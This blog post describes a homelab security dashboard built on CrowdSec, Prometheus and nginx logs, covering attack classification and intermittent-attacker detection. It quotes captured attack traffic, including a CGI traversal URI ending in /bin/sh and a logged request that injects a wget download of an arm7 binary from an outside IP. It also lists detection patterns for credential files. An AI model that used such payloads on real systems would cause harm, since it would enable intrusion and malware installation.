Security Dashboard — Architecture of a Self-Hosted Attack Monitor
Published on Apr 4, 2026
My homelab runs behind a SWAG (nginx) reverse proxy with CrowdSec as the main bouncer. After seeing thousands of active bans accumulate — DDoS patterns, SSH brute force, CVE probes — I wanted visibility into what was actually hitting my server: which domains get targeted most, which attack paths keep showing up, which IPs keep coming back.
This post covers the architecture of the dashboard I built to answer those questions.
Table of Contents
- The Stack
- System Architecture
- Data Flow
- The Three Data Sources
- Attack Classification
- Cache Architecture
- The Watchlist — Intermittent Attacker Detection
- What the Error Log Shows
- What’s Missing — Honest Limitations
- Deployment
- Summary
The Stack
| Layer | Technology | Why |
|---|---|---|
| Backend | FastAPI + uvicorn | Async, fast, straightforward — same pattern as my YTT project |
| Data sources | CrowdSec LAPI, Prometheus, nginx JSON log | Three complementary views of the same attack surface |
| Scheduling | APScheduler | Background thread refreshes data every 5 minutes |
| Frontend | SvelteKit 5 + Svelte 5 runes | SPA served from the same container, no separate Node process |
| UI | shadcn-svelte + Tailwind CSS | Dark theme by default — security dashboard aesthetic |
| Auth | SWAG + Authentik forward auth | SSO gate in front of the reverse proxy |
| Deployment | Docker single container on Unraid | Same pattern as the YTT project |
The guiding principle is the same as all my other projects: one container, no external dependencies at runtime, deployed to Unraid via Compose Manager.
System Architecture
Two diagrams cover the full picture: how requests reach the dashboard, and how data gets collected inside it.
Request Flow
SWAG sits between the internet and everything else. Authentik forward auth runs as a sub-request on every hit — if there’s no valid session, SWAG redirects to the Authentik login page before a single byte reaches the dashboard. Let’s Encrypt handles SSL termination automatically.
Data Collection
All three sources live on the same Docker nginx bridge network, so collection is pure LAN — no external API calls, no internet dependency.
Data Flow
The refresh cycle runs every 5 minutes in a background thread:
Container starts → APScheduler fires immediately
Every 5 minutes:
1. crowdsec.py → GET decisions list from CrowdSec LAPI
→ banned_ips dict with reason + origin per IP
2. prometheus.py → query cs_active_decisions over last 24h at hourly steps
→ 24-point timeline array for the ban chart
3. nginx_logs.py → read last 100,000 lines of access.json
→ parse, classify, aggregate by domain / IP / attack type
4. scheduler.py → merge all three, compute suspicious IPs, run watchlist detection
5. cache.update() → atomic dict replace, timestamp stamped
API requests → served from cache instantly, no per-request data fetching
The Three Data Sources
 CrowdSec LAPI
CrowdSec is the first-line bouncer. The nginx-lua plugin runs inline on every request and blocks IPs that appear in the active decisions list — before a single line of Python runs.
The dashboard reads decisions via the bouncer API (read-only key) to get the full ban list. This gives us:
- How many IPs are banned (
~5,800on a typical day) - The breakdown by scenario (
http:dos,http:scan,ssh:bruteforce,http:exploit, etc.) - Whether a specific IP in the nginx log is already banned — enabling cross-reference: tag log entries with the CrowdSec scenario even when the request itself looked benign
For banning directly from the dashboard UI, a separate machine credential with write access is used (cscli machines add security-dashboard-rw). Read-only is the safe default.
 Prometheus
Prometheus scrapes CrowdSec’s cs_active_decisions metric. The dashboard queries the last 24 hours at hourly granularity to build the ban timeline chart:
GET /api/v1/query_range
query = cs_active_decisions
start = now-24h end = now step = 3600s
This produces a 24-point array — useful for spotting spikes and correlating them with events.
 nginx Access Log (JSON)
This is where the most interesting signal lives. SWAG writes a custom JSON access log with GeoIP2 fields appended:
{
"ip": "159.223.73.209",
"method": "POST",
"uri": "/cgi-bin/.../bin/sh",
"status": 400,
"host": "rappedoos.com",
"ua": "-",
"country": "Singapore",
"city": "Singapore",
"country_code": "SG",
"time": "04/Apr/2026:12:59:12 +0200",
"req_time": "0.377"
}
The country and city fields come from SWAG’s built-in GeoIP2 database — no external API calls. The collector reads the last 100,000 lines (~12–48h at typical traffic volume), classifies each request, and builds aggregated views:
| Output | Description |
|---|---|
by_domain | Per-domain attack rate, top paths, top IPs, recent attacks |
by_ip | Per-IP profile: total requests, attack count, distinct attack hours, paths |
by_attack_type | Per-type breakdown: domains targeted, paths, IPs, user agents |
recent_blocks | Rolling last 500 attack entries |
top_countries | Country → attack count |
suspicious_ips | IPs crossing thresholds but not yet banned |
Attack Classification
Every request is run through a classifier that assigns an attack type or None (benign). Priority order:
| Type | What it catches |
|---|---|
path-traversal | ../, %2e%2e — directory climbing |
rce-attempt | bin/sh, cmd.exe, PHP code injection patterns |
config-probe | /.env, /wp-config.php, /.git/config, /id_rsa |
login-brute | POST to /login, /wp-login.php, /auth with 40x status |
scanner | Known scanner UA strings: Nuclei, Masscan, Nikto, zgrab, 20+ more |
cve-probe | Known CVE paths — CGI, phpMyAdmin, Spring, Log4j |
suspicious | 400/403/404/429/444/499/500 catch-all |
CrowdSec cross-reference runs after: if an IP is already banned but the request looks benign, it gets tagged crowdsec:{scenario} (e.g. crowdsec:http:dos) and counted separately. This reveals how many requests from banned IPs still reach nginx before the bouncer catches them.
A path intelligence lookup annotates attack paths with human-readable descriptions — so /cgi-bin/.%2e/.%2e/bin/sh renders as “Remote code execution via CGI directory traversal” instead of a raw URI.
Cache Architecture
The dashboard cache is ephemeral — it lives entirely in memory and is lost on container restart. The sources themselves are persistent (CrowdSec has its own database, Prometheus has its TSDB), so data rebuilds on the next 5-minute cycle. The only file written to disk is /app/data/watchlist.json.
The entire dashboard state lives in a single Python dict. This is intentional:
- Fast: API responses are a dict lookup, not a database query
- Simple: no schema migrations, no ORM, no connection pool to manage
- Acceptable tradeoff: data refreshes every 5 minutes from live sources; stale data for a few minutes is fine for a monitoring dashboard
Computational cost: reading and parsing ~5,000–36,000 JSON lines every 5 minutes takes well under a second on a homelab CPU. The 100k-line cap is a safety net that rarely triggers.
The Watchlist — Intermittent Attacker Detection
CrowdSec is excellent at catching burst attackers. But some IPs probe slowly — a few requests every few hours — deliberately evading rate-limit detection.
After each refresh cycle, the scheduler scans by_ip for IPs that are:
- Not already banned by CrowdSec
- ≥ 10 total attack requests
- Active across ≥ 3 distinct hours in the 24h window
That last criterion is the key. An IP attacking at 8am, 2pm, and 8pm shows persistent intent spread across the day — very different from a one-time burst. Per-IP we track which hours attacks occurred: [8, 14, 20] means three distinct hours of activity.
When an IP crosses the threshold:
- Added to the watchlist — persisted in
/app/data/watchlist.json(survives restarts) - Webhook fires — IP, strike count, hour distribution, attack types sent as JSON
- Discord embed sent if configured — colour escalates orange → red → dark red with each strike
- Optional auto-ban via CrowdSec if
WATCHLIST_AUTO_BAN=true
Bans escalate with each strike: 24h → 72h → 7 days → 30 days.
What the Error Log Shows
The nginx error log (error.log) contains two useful signal types that don’t overlap with the access log:
CrowdSec block confirmations ([alert] level) — confirms the Lua bouncer is working and shows which domain triggered the block:
[alert] [lua] crowdsec.lua:783: [Crowdsec] denied '43.159.141.150'
with 'ban', client: 43.159.141.150, server: knowmore.*, request: "GET / HTTP/1.1"
Raw-IP scanners (auth request unexpected status: 404) — attackers hitting the bare server IP instead of a domain name. The vhost catch-all fails before proper routing, so some of these never appear cleanly in access.json:
[error] auth request unexpected status: 404, client: 167.71.152.75,
request: "GET /login.cgi?cli=...wget http://37.48.254.120/arm7..."
The error log is not currently parsed by the dashboard — it’s planned as a future debug overlay on the IP detail page.
What’s Missing — Honest Limitations
Single log file, no history: Only the active access.json is read. Rotated logs are ignored. The 100k-line window covers roughly 12–48 hours. Anything older is invisible.
No time-series database yet: There’s no persistent history of daily attack counts, recurring IPs, or ban trends. “How many attacks last month?” has no answer today. Planned: a SQLite database (/app/data/history.db) with daily_stats, ip_daily, and ban_events tables written on each refresh cycle — enabling “IPs seen on 5+ of the last 30 days” and monthly attack trends.
No error log parsing: The nginx error log has useful signal (raw-IP scanners, CrowdSec block confirmations) but isn’t parsed yet.
Deployment
Same pattern as the YTT project: local multi-stage Docker build, save as .tar.gz, scp to Unraid, load, restart via Compose Manager.
Stage 1 (node:22-alpine) → pnpm build (SvelteKit → static files in /app/static)
Stage 2 (python:3.12-slim) → pip install (FastAPI, uvicorn, httpx, apscheduler)
Stage 3 (python:3.12-slim) → copy everything, run as UID 99:99 (Unraid nobody:users)
SWAG proxies security.rappedoos.com → http://security-dashboard:8100 with Authentik forward auth on every location block. One process, one port, one container. The nginx log volume is mounted :ro — the dashboard can never accidentally write to the log it reads.
Summary
| Concern | Approach |
|---|---|
| Data freshness | 5-min APScheduler refresh cycle |
| Persistence | In-memory cache (ephemeral) + watchlist JSON (permanent) |
| Attack data window | Last 100k log lines (~12–48h) |
| History | Planned: SQLite with daily aggregates + per-IP timeline |
| Ban integration | CrowdSec LAPI read + optional machine write |
| Notifications | Discord embed + generic JSON webhook |
| Auth | SWAG + Authentik forward auth (SSO) |
| Deployment | Single Docker container, Unraid Compose Manager |
It’s a “what’s happening right now” tool, not a SIEM. For a homelab with 5,000+ active bans and constant scanning noise, that’s exactly what’s useful.
This is the first post in the Security Dashboard series. Future posts will cover Unraid server hardening — nginx configuration, CrowdSec scenario tuning, and setting up Authentik as a forward auth proxy.